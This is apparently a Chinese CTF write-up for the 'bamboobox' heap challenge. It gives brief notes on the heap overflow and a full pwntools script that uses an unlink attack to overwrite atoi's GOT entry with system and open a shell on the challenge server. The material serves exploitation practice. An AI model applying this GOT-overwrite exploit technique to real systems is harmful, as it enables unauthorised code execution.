image.png
    ida里函数都有名字
    image.png
    漏洞是堆溢出,
    image.png
    image.png
    add后还可以通过change来改变长度,堆溢出
    有后门函数,但是实际上,buuflag并不在这个目录下,如果在这个下,我们可以考虑house of force,这个方法比较快速,或者fast bin attack,因为这个堆溢出比较简单,基本上的方式都可以得出来。然后我用没怎么用过的unlink
    image.png

    1. from pwn import *
    2. from LibcSearcher import*
    3. context(log_level = 'debug')
    4. #io =process('./bamboobox')
    5. io = remote("node4.buuoj.cn",28844)
    6. #context.arch = "amd64"
    7. elf =ELF('./bamboobox')
    8. magic = 0x0000000000400D49
    9. libc = ELF('libc-2.23.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def add(length,value):
    14. io.recvuntil('Your choice:')
    15. io.sendline('2')
    16. io.recvuntil('Please enter the length of item name:')
    17. io.sendline(str(length))
    18. io.recvuntil('Please enter the name of item:')
    19. io.sendline(value)
    20. def show():
    21. io.recvuntil('Your choice:')
    22. io.sendline('1')
    23. def edit(index,length,value):
    24. io.recvuntil('Your choice:')
    25. io.sendline('3')
    26. io.recvuntil('Please enter the index of item:')
    27. io.sendline(str(index))
    28. io.recvuntil('Please enter the length of item name:')
    29. io.sendline(str(length))
    30. io.recvuntil('Please enter the new name of the item:')
    31. io.sendline(value)
    32. def delet(index):
    33. io.recvuntil('Your choice:')
    34. io.sendline('4')
    35. io.recvuntil('Please enter the index of item:')
    36. io.sendline(str(index))
    37. def exit():
    38. io.recvuntil('Your choice:')
    39. io.sendline('5')
    40. puts_got = elf.got['puts']
    41. atoi_got = elf.got['atoi']
    42. free_got = elf.got['free']
    43. ptr_addr = 0x6020C8
    44. fd = ptr_addr-0x18
    45. bk = ptr_addr-0x10
    46. add(0x30,"aaaa")#1
    47. add(0x80,'bbbb')#2
    48. add(0x30,'cccc')#3
    49. #debug()
    50. payload = p64(0) + p64(0x30)
    51. payload += p64(fd) + p64(bk)
    52. payload += "a"*0x10
    53. payload += p64(0x30) + p64(0x90)
    54. edit(0,len(payload),payload)
    55. #debug()
    56. delet(1)
    57. payload =p64(0)*2+p64(0x30)+p64(atoi_got)
    58. edit(0,len(payload),payload)
    59. #debug()
    60. show()
    61. atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    62. log.success("atoi_addr:"+hex(atoi_addr))
    63. system_addr = atoi_addr-libc.sym['atoi']+libc.sym['system']
    64. payload = p64(system_addr)
    65. edit(0,len(payload),payload)
    66. io.recvuntil('Your choice:')
    67. io.sendline('/bin/sh\x00')
    68. io.interactive()

    这里函数的选择蛮重要,最后会发现atoi是最好的。